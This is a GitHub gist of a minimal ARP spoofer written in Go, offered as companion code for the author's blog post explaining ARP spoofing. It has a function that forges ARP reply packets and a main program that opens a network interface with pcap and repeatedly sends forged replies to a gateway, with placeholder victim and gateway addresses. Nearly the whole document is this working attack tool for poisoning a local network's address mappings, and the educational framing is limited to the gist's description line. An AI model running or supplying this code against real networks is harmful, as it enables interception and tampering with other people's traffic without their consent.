Skip to content

Instantly share code, notes, and snippets.

@kkrypt0nn
Last active July 13, 2025 20:18
Show Gist options
  • Save kkrypt0nn/845488a984ea1a5874a7586bfa21c3be to your computer and use it in GitHub Desktop.
Save kkrypt0nn/845488a984ea1a5874a7586bfa21c3be to your computer and use it in GitHub Desktop.
A very minimalist ARP spoofer written in Go for my blog post available at https://krypton.ninja/What-is-ARP-Spoofing
package main
import (
"net"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
)
type Address struct {
ip net.IP
mac net.HardwareAddr
}
func NewAddress(ip net.IP, mac net.HardwareAddr) *Address {
return &Address{
ip: ip,
mac: mac,
}
}
func (a *Address) GetIP() net.IP {
return a.ip
}
func (a *Address) GetMAC() net.HardwareAddr {
return a.mac
}
var Options = gopacket.SerializeOptions{
FixLengths: true,
ComputeChecksums: true,
}
func NewARPReplyPacket(src *Address, dst *Address) ([]byte, error) {
ethLayer := layers.Ethernet{
SrcMAC: src.mac,
DstMAC: dst.mac,
EthernetType: layers.EthernetTypeARP,
}
arpLayer := layers.ARP{
AddrType: layers.LinkTypeEthernet,
Protocol: layers.EthernetTypeIPv4,
HwAddressSize: 6,
ProtAddressSize: 4,
Operation: layers.ARPReply,
SourceHwAddress: src.mac,
SourceProtAddress: src.ip.To4(),
DstHwAddress: dst.mac,
DstProtAddress: dst.ip.To4(),
}
buffer := gopacket.NewSerializeBuffer()
if err := gopacket.SerializeLayers(buffer, Options, &ethLayer, &arpLayer); err != nil {
return nil, err
}
return buffer.Bytes(), nil
}
module github.com/kkrypt0nn/arp_poc
go 1.24.5
require (
github.com/google/gopacket v1.1.19
github.com/kkrypt0nn/tangra v1.1.0
)
package main
import (
"net"
"strings"
"time"
"github.com/google/gopacket/pcap"
)
// Obviously these are not accurate but fictive addresses
const (
VictimIP = "192.168.13.37"
VictimMAC = "13:de:ad:be:ef:37"
GatewayIP = "192.168.13.1"
GatewayMAC = "13:ca:fe:be:ef:37"
Timeout = 5 * time.Second
TotalPacketsToSend = 15
)
func parseMAC(addr string) net.HardwareAddr {
mac, err := net.ParseMAC(addr)
if err != nil {
panic("Invalid MAC address: " + addr)
}
return mac
}
func main() {
// Create a new session
s := NewSession()
// Get the interface
ifaces, err := net.Interfaces()
if err != nil {
s.logger.Fatal("Failed to retrieve interfaces: " + err.Error())
return
}
for _, iface := range ifaces {
if iface.HardwareAddr == nil {
continue
}
addrs, err := iface.Addrs()
if err != nil {
s.logger.Fatal("Failed to retrieve the addresses of the interface: " + err.Error())
return
}
for _, addr := range addrs {
if strings.Split(addr.String(), "/")[0] == s.ip.String() {
// Set the current interface & MAC address
s.iface = iface
s.mac = iface.HardwareAddr
break
}
}
}
// Get the device to listen to
devices, err := pcap.FindAllDevs()
if err != nil {
s.logger.Fatal("Failed to retrieve devices: " + err.Error())
return
}
for _, device := range devices {
for _, address := range device.Addresses {
if address.IP.To4().String() == s.ip.String() {
s.device = device
break
}
}
}
// Open the device and be prepared to send the spoofed packets
handler, err := pcap.OpenLive(s.device.Name, 65535, true, pcap.BlockForever)
if err != nil {
s.logger.Fatal("Failed to open device: " + err.Error())
return
}
// Prepare two ARP reply packets
victim := NewAddress(net.ParseIP(VictimIP), parseMAC(VictimMAC))
gateway := NewAddress(net.ParseIP(GatewayIP), parseMAC(GatewayMAC))
src := NewAddress(s.ip, s.mac)
// arpToVictim, _ := NewARPReplyPacket(src, victim)
arpToGateway, _ := NewARPReplyPacket(src, gateway)
s.logger.Info("Sending spoofed ARP replies: " +
"Victim IP = " + victim.GetIP().String() +
", Victim MAC = " + victim.GetMAC().String() +
" | Gateway IP = " + gateway.GetIP().String() +
", Gateway MAC = " + gateway.GetMAC().String() +
" | Interval = " + Timeout.String())
// Send the packets
for i := 0; i < TotalPacketsToSend; i++ {
// err = handler.WritePacketData(arpToVictim)
err = handler.WritePacketData(arpToGateway)
if err != nil {
s.logger.Error("Failed to send packet: " + err.Error())
}
time.Sleep(Timeout)
}
}
package main
import (
"net"
"github.com/google/gopacket/pcap"
"github.com/kkrypt0nn/tangra"
)
// Some wacky way to get the outbound IP address ^-^
func getOutboundIP() net.IP {
conn, err := net.Dial("udp", "8.8.8.8:80")
if err != nil {
panic(err)
}
defer conn.Close()
return conn.LocalAddr().(*net.UDPAddr).IP
}
type Session struct {
iface net.Interface
device pcap.Interface
ip net.IP
mac net.HardwareAddr
logger *tangra.Logger
}
func NewSession() *Session {
return &Session{
ip: getOutboundIP(), // This will try to resolve the IP, if it's inaccurate you can hard-code it..
logger: tangra.NewLogger(),
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment